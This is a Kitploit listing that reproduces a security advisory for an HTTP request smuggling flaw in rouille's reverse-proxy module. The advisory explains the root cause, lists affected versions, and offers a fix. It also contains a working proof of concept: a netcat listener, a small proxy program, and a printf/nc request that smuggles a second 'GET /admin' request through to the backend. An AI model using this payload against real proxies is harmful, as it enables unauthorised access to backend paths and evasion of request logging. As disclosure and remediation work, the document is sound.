Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille- — Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille) | Kitploit
Tools/GitHubGitHub/theopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-
Vulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubtheopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-

CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille-

Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille)

View Repository
131 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille)

Assigned CVE ID: CVE-2026-67181

Summary

rouille::proxy::proxy forwards the client's Transfer-Encoding header to the backend unchanged, but writes the request body that tiny_http has already de-chunked. It never emits a Content-Length of its own. The backend is told the body is chunked and handed bytes that are not chunked, so the client, not rouille, decides where the backend thinks the body ends.

Affected versions

Repo URL: https://github.com/tomaka/rouille

First affected0.3.3 (2016-12-03), the release that introduced src/proxy.rs
Last affected3.6.2 (2023-04-24), the current release
Not affected0.3.2 and earlier, which have no proxy module
Fixed inno fixed version at time of writing

src/proxy.rs is byte-identical between the 3.6.2 tag and current master. Only applications calling proxy::proxy or proxy::full_proxy are affected.

Severity

CWE-444 (Inconsistent Interpretation of HTTP Requests).

CVSS 4.0 base score 6.3 (Medium) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Threat model

A remote, unauthenticated client sending raw HTTP to a rouille application that acts as a reverse proxy. No credentials or user interaction are needed.

The impact depends on the backend. Backends that pipeline regardless of Connection: close, and any connection-pooling intermediary sitting between rouille and the origin, will act on the smuggled request. Backends that honour Connection: close still end up with a request body different from the one the client sent and the one rouille observed.

Root cause

tiny_http de-chunks whenever any Transfer-Encoding header is present and discards Content-Length.

tiny_http-0.12.0/src/request.rs, lines 149 to 159:

root@kitploit:~
149      // finding the content-length header
150      let content_length = if transfer_encoding.is_some() {
151          // if transfer-encoding is specified, the Content-Length
152          // header must be ignored (RFC2616 #4.4)
153          None
154      } else {

tiny_http-0.12.0/src/request.rs, lines 218 to 221:

root@kitploit:~
218      } else if transfer_encoding.is_some() {
219          // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220          // over the message (RFC2616 #3.6)
221          Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>

rouille/src/proxy.rs then forwards every header except Connection and copies the decoded body. Lines 167 to 174:

root@kitploit:~
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

The client's Transfer-Encoding: chunked survives line 171. Line 174 writes the plaintext that Decoder produced. No Content-Length is ever written, so the backend has nothing else to frame on and applies chunked parsing to plaintext the attacker chose.

Proof of Concept

Step 1. Start a raw listener on port 8001 to act as the backend and show the bytes rouille sends.

root@kitploit:~
nc -l 127.0.0.1 8001 | cat -v

Step 2. Start a rouille front end on port 8000.

root@kitploit:~
use rouille::proxy;

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

Step 3. Send a correctly chunked request whose decoded body is itself a chunked stream that ends immediately, followed by a second request. The single chunk is 0x3d = 61 bytes long.

root@kitploit:~
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000

Result. The listener from step 1 shows rouille announcing chunked framing and then sending plaintext:

root@kitploit:~
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close

0

GET /admin HTTP/1.1
Host: x
X-Smuggled: yes

A backend honouring Transfer-Encoding: chunked reads the chunk-size line 0, concludes the body is empty, and parses the remaining 56 bytes as a new request.

Impact

The backend's view of the request body differs from both the bytes the client sent and the bytes rouille read. Anything upstream that logs, audits, or mirrors the body records something other than what the backend acted on.

Where the backend pipelines despite Connection: close, or where a connection-pooling intermediary sits between rouille and the origin, the trailing bytes become a second request with an attacker-chosen method and path.

The client's Content-Length is also forwarded even though tiny_http ignored it, so a backend that prefers Content-Length over Transfer-Encoding gets a CL.TE desynchronisation directly.

Remediation

Do not forward framing headers that describe a body rouille has already decoded. In src/proxy.rs, extend the skip at line 167:

root@kitploit:~
if header.eq_ignore_ascii_case("Connection")
    || header.eq_ignore_ascii_case("Transfer-Encoding")
    || header.eq_ignore_ascii_case("Content-Length")
{
    continue;
}

Then emit framing that matches what is actually written: buffer the body and send an accurate Content-Length, or re-chunk it and send Transfer-Encoding: chunked yourself, before the terminating \r\n\r\n on line 173.

Download Tool